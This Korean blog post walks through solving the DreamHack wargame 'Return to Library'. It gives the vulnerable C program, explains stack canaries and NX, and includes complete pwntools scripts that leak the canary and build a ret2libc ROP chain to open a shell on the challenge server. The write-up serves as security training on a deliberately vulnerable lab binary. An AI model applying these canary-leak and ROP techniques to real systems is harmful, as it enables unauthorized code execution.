본문 바로가기

DreamHack

[DreamHack] Return to Library

https://dreamhack.io/wargame/challenges/353/

 

Return to Library

Description Exploit Tech: Return to Library에서 실습하는 문제입니다.

dreamhack.io

난이도: Level 1 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

위 코드를 분석하기에 앞서  checksec을 통해서 어떤 메모리 기법이 적용되어있는지 확인해봅시다. 

 

Stack Canary, NX Bit  메모리 기법이 적용되고 있는 것을 확인할 수 있습니다. 

간단하게 두 메모리 기법에 대해 설명드리면, Stack Canary는 Buffer Overflow가 일어났을 때 기존에 생성된 Canary 값과 프로그램 실행 시 Canary 값을 비교해 값이 다를 경우 프로그램을 종료하게 됩니다. 

또한, NX Bit는 스택 상에서 쉘코드를 실행할 수 없도록 하는 메모리 기법입니다. 

 

이와 같이, NX Bit 메모리 기법이 씌워져있어 스택 상에서 쉘코드를 실행할 수 없는 경우, Return to Library 공격 방식을 사용하여 Library에 system 함수로 Return 하여 쉘코드를 획득할 수 있습니다. 

 

우선 Canary 값이 변하지 않도록 Canary Leak을 통해 Canary 값을 알아봅시다. 

 

1. Canary Leak

from pwn import *

def slog(name, addr): 
    return success(": ".join([name, hex(addr)]))

p = process("./rtl") 
e = ELF("./rtl") 

# Leak Canary
buf2sfp = 0x40
buf2canary = buf2sfp - 0x8 
payload = b'A' * (buf2canary + 1) 
p.sendafter("Buf: ", payload) 
p.recvuntil(payload) 

canary = u64(b'\x00' + p.recv(7)) 

slog("Canary", canary)

GDB를 통해 buf에서 sfp 까지의 거리가 0x40 임을 알 수 있었고, Stack Canary 값은 SFP - 8 에 위치하여 Canary 첫 바이트가 Null Byte로 시작하기에 0x40 -0x8 + 1 크기만큼 입력을 주어 Canary 값을 알아냅니다. 

 

이후, Exploit을 진행해봅시다. 

 

RTL 공격 기법은 스택에 실행 권한이 없기에 공유 라이브러리로 Return 하여 system("/bin/sh") 을 실행시켜 쉘을 따는 구조입니다. 이때 필요한 system 함수, binsh 주소를 구해줍니다. 또한 pop rdi 와 ret 가젯 또한 구해줍니다. 

 

pop rdi 와 ret 가젯을 구하는 이유는 system 함수에는 binsh 인자가 1개 들어가기 때문입니다. 

예를 들어, 인자가 3개 일 경우, pop rdi ; pop rsi ; pop rdx ; ret 가젯을 구해줘야합니다. 

 

이렇게 RTL에 필요한 모든 정보를 구했다면 Exploit 코드를 작성해주면 됩니다. 

Exploit Code

from pwn import * 
# context.log_level = 'debug' 

def slog(n,a):
    return success(": ".join([n,hex(a)]))

# p = process("./rtl") 
p = remote("host3.dreamhack.games", 18471)
e = ELF("./rtl") 
libc = e.libc 
r = ROP(e)

# Get Information for RTL
system = e.symbols["system"]
binsh = next(e.search(b"/bin/sh"))
pop_rdi = r.find_gadget(["pop rdi"])[0] 
ret = r.find_gadget(["ret"])[0] 

# 1. Canary Leak
buf2sfp = 0x40
buf2canary = buf2sfp - 0x8 
payload = b'A' * (buf2canary + 1)
p.sendafter("Buf: ", payload) 
p.recvuntil(payload)

canary = u64(b'\x00'+ p.recv(7))

slog("Canary", canary) 
slog("System", system) 
slog("binsh", binsh)

# 2. Exploit 
payload = b'A' * buf2canary
payload += p64(canary) 
payload += b'B' * 8  #SFP 
payload += p64(ret) 
payload += p64(pop_rdi) 
payload += p64(binsh) 
payload += p64(system)

p.sendafter("Buf: ", payload)

p.interactive()

'DreamHack' 카테고리의 다른 글

[DreamHack] development-env  (0) 2023.08.07
[DreamHack] Format String Bug  (0) 2023.06.19
[DreamHack] web-ssrf  (0) 2023.06.17
[DreamHack] login-1  (0) 2023.06.17
[DreamHack] XSS Filtering Bypass  (1) 2023.06.15